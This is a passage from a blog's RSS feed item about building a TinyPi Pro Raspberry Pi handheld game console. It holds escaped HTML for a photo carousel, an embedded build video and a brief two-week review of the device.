data-bs-target=&quot;#imageSlider&quot; data-bs-slide-to=&quot;2&quot; aria-label=&quot;Slide 3&quot;&gt;&lt;/button&gt; &lt;button type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide-to=&quot;3&quot; aria-label=&quot;Slide 4&quot;&gt;&lt;/button&gt; &lt;button type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide-to=&quot;4&quot; aria-label=&quot;Slide 5&quot;&gt;&lt;/button&gt; &lt;button type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide-to=&quot;5&quot; aria-label=&quot;Slide 6&quot;&gt;&lt;/button&gt; &lt;button type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide-to=&quot;6&quot; aria-label=&quot;Slide 7&quot;&gt;&lt;/button&gt; &lt;button type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide-to=&quot;7&quot; aria-label=&quot;Slide 8&quot;&gt;&lt;/button&gt; &lt;/div&gt; &lt;div class=&quot;carousel-inner text-center&quot;&gt; &lt;div class=&quot;carousel-item active&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/tinypipro/case-480w.avif 480w, /assets/images/tinypipro/case-640w.avif 640w, /assets/images/tinypipro/case-960w.avif 960w, /assets/images/tinypipro/case.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/tinypipro/case-480w.webp 480w, /assets/images/tinypipro/case-640w.webp 640w, /assets/images/tinypipro/case-960w.webp 960w, /assets/images/tinypipro/case.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/jpeg&quot; srcset=&quot;/assets/images/tinypipro/case-480w.jpg 480w, /assets/images/tinypipro/case-640w.jpg 640w, /assets/images/tinypipro/case.jpg 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/tinypipro/case.jpg&quot; alt=&quot;TinyPi pro case&quot; class=&quot;&quot; width=&quot;1280&quot; height=&quot;562&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;div class=&quot;carousel-item&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/tinypipro/case-open-480w.avif 480w, /assets/images/tinypipro/case-open-640w.avif 640w, /assets/images/tinypipro/case-open-960w.avif 960w, /assets/images/tinypipro/case-open.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/tinypipro/case-open-480w.webp 480w, /assets/images/tinypipro/case-open-640w.webp 640w, /assets/images/tinypipro/case-open-960w.webp 960w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/jpeg&quot; srcset=&quot;/assets/images/tinypipro/case-open-480w.jpg 480w, /assets/images/tinypipro/case-open-640w.jpg 640w, /assets/images/tinypipro/case-open.jpg 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/tinypipro/case-open.jpg&quot; alt=&quot;Case open&quot; class=&quot;&quot; width=&quot;1280&quot; height=&quot;528&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;div class=&quot;carousel-item&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/tinypipro/case-open-2-480w.avif 480w, /assets/images/tinypipro/case-open-2-640w.avif 640w, /assets/images/tinypipro/case-open-2-960w.avif 960w, /assets/images/tinypipro/case-open-2.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/tinypipro/case-open-2-480w.webp 480w, /assets/images/tinypipro/case-open-2-640w.webp 640w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/jpeg&quot; srcset=&quot;/assets/images/tinypipro/case-open-2-480w.jpg 480w, /assets/images/tinypipro/case-open-2-640w.jpg 640w, /assets/images/tinypipro/case-open-2.jpg 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/tinypipro/case-open-2.jpg&quot; alt=&quot;Case open 2&quot; class=&quot;&quot; width=&quot;1280&quot; height=&quot;539&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;div class=&quot;carousel-item&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/tinypipro/battery-480w.avif 480w, /assets/images/tinypipro/battery-640w.avif 640w, /assets/images/tinypipro/battery-960w.avif 960w, /assets/images/tinypipro/battery.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/tinypipro/battery-480w.webp 480w, /assets/images/tinypipro/battery-640w.webp 640w, /assets/images/tinypipro/battery-960w.webp 960w, /assets/images/tinypipro/battery.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/jpeg&quot; srcset=&quot;/assets/images/tinypipro/battery-480w.jpg 480w, /assets/images/tinypipro/battery-640w.jpg 640w, /assets/images/tinypipro/battery.jpg 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/tinypipro/battery.jpg&quot; alt=&quot;The tiny battery for TinyPi pro&quot; class=&quot;&quot; width=&quot;1280&quot; height=&quot;539&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;div class=&quot;carousel-item&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/tinypipro/circuit-back.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/tinypipro/circuit-back.jpg&quot; alt=&quot;TinyPi pro circuit on backside&quot; class=&quot;&quot; width=&quot;404&quot; height=&quot;539&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;div class=&quot;carousel-item&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/tinypipro/circuit-front.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/tinypipro/circuit-front.jpg&quot; alt=&quot;TinyPi pro circuit on frontside&quot; class=&quot;&quot; width=&quot;404&quot; height=&quot;539&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;div class=&quot;carousel-item&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/tinypipro/circuit-back-assembled.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/tinypipro/circuit-back-assembled.jpg&quot; alt=&quot;Circuit assembled back&quot; class=&quot;&quot; width=&quot;404&quot; height=&quot;539&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;div class=&quot;carousel-item&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/tinypipro/side-open.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/tinypipro/side-open.jpg&quot; alt=&quot;Side open view for TinyPi Pro&quot; class=&quot;&quot; width=&quot;404&quot; height=&quot;539&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;/div&gt; &lt;button class=&quot;carousel-control-prev&quot; type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide=&quot;prev&quot;&gt; &lt;span class=&quot;carousel-control-prev-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt; &lt;span class=&quot;sr-only&quot;&gt;Previous&lt;/span&gt; &lt;/button&gt; &lt;button class=&quot;carousel-control-next&quot; type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide=&quot;next&quot;&gt; &lt;span class=&quot;carousel-control-next-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt; &lt;span class=&quot;sr-only&quot;&gt;Next&lt;/span&gt; &lt;/button&gt; &lt;/div&gt; &lt;p&gt;wermy made a build video:&lt;/p&gt; &lt;iframe title=&quot;Tiny Pi Pro handheld running RetroPie&quot; loading=&quot;lazy&quot; width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/eHv7w5ioWu0&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt; &lt;h2 id=&quot;after-two-weeks&quot;&gt;After Two Weeks&lt;/h2&gt; &lt;p&gt;It plays games well despite its size. If you have large hands, the buttons will feel cramped, but it’s manageable.&lt;/p&gt; &lt;p&gt;A headphone jack or hardware volume buttons would be nice additions. Not dealbreakers.&lt;/p&gt; &lt;p&gt;The build itself is mostly straightforward. Fitting the Raspberry Pi with the pogo pins took a few tries. Be patient with that part.&lt;/p&gt; &lt;p&gt;I like it. Thanks &lt;a href=&quot;https://pi0cket.com/&quot; target=&quot;_blank&quot;&gt;pi0cket&lt;/a&gt;&lt;/p&gt; &lt;p&gt;If the Pi still feels like overkill, the &lt;a href=&quot;/a-tiny-game-console-based-on-attiny85/&quot;&gt;ATtiny85 game console&lt;/a&gt; I built later runs on a chip the size of a fingernail.&lt;/p&gt; </description> <pubDate>Thu, 01 Aug 2019 00:00:00 +0000</pubDate> <link>https://tejashwi.in/tinypi-pro-a-raspberry-handheld/</link> <guid isPermaLink="true">https://tejashwi.in/tinypi-pro-a-raspberry-handheld/</guid> <category>raspberry</category> <category>retrogames</category> <category>sudomod</category> <category>nostalgia</category> <category>tinypipro</category> <category>Raspberry</category> <category>DIY</category> <category>Electronics</category> </item> </channel> </rss>